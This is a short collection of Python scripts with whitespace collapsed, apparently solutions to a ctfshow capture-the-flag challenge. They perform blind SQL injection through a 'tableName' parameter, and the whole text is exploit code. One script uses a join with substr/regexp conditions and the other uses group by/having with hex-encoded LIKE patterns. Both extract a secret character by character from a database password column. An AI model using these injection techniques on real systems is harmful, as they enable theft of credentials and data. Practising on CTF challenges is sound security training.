flag = 'ctfshow{' for i inrange(45): if i <= 5: continue for j inrange(127): data = { "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))" } r = requests.post(url,data=data) if r.text.find("$user_count = 43;")>0: ifchr(j) != ".": flag += chr(j) print(flag.lower()) ifchr(j) == "}": exit(0) break
url = 'http://4abca1ef-10dc-4717-a183-9f9667d1ed59.challenge.ctf.show/select-waf.php' flag = 'ctfshow{' word = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
defstr_to_hex(str): rel = "" for s instr: temp = hex(ord(s)).replace('0x', '') rel += temp return rel
for i inrange(0, 100): for j in word: data = { 'tableName': "ctfshow_user group by pass having pass like {}".format("0x" + str_to_hex(flag + j + "%")) } text = requests.post(url=url, data=data).text if'$user_count = 1;'in text: flag += j print(flag) if j == '}': exit(0)